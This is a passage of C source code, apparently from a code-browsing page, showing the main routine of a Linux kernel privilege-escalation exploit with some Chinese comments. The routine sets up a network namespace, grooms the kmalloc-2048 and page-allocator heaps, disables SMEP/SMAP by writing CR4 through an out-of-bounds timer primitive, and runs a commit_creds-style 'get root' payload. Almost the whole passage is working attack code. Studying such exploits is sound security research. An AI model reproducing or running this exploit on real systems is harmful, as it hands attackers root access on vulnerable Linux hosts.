| 388 | } |
| 389 | |
| 390 | int main() { |
| 391 | printf("[.] starting\n"); |
| 392 | // 安装沙盒: 要对更底层的网络进行操作,需要有CAP_NET_RAW权限,可以通过网络命名空间来实现 |
| 393 | setup_sandbox(); |
| 394 | printf("[+] namespace sandbox set up\n"); |
| 395 | |
| 396 | printf("[.] done, kernel text: 0x%lx\n", KERNEL_BASE); |
| 397 | printf("[.] commit_creds: 0x%lx\n", KERNEL_BASE + COMMIT_CREDS); |
| 398 | printf("[.] prepare_kernel_cred: 0x%lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED); |
| 399 | printf("[.] native_write_cr4: 0x%lx\n", KERNEL_BASE + NATIVE_WRITE_CR4); |
| 400 | // Step 1: exhaust kmalloc-2048 and page chunk 0x8000 消耗kmalloc-2048和页面分配器的0x8000 |
| 401 | printf("[.] padding heap\n"); |
| 402 | kmalloc_pad(KMALLOC_PAD); |
| 403 | pagealloc_pad(PAGEALLOC_PAD); |
| 404 | printf("[+] done, heap is padded\n"); |
| 405 | // Step 2: bypass SMEP/SMAP |
| 406 | printf("[.] SMEP & SMAP bypass enabled, turning them off\n"); |
| 407 | oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE); |
| 408 | printf("[+] done, SMEP & SMAP should be off now\n"); |
| 409 | // Step 3: escalate privilege |
| 410 | printf("[.] executing get root payload %p\n", &get_root_payload); |
| 411 | oob_id_match_execute((void *)&get_root_payload); |
| 412 | printf("[+] done, should be root now\n"); |
| 413 | |
| 414 | check_root(); |
| 415 | |
| 416 | while (1) sleep(1000); |
| 417 | |
| 418 | return 0; |
| 419 | } |
| 420 | |
| 421 | /* |
| 422 | 1. 查看创建时的packet_sock结构 |
nothing calls this directly
no test coverage detected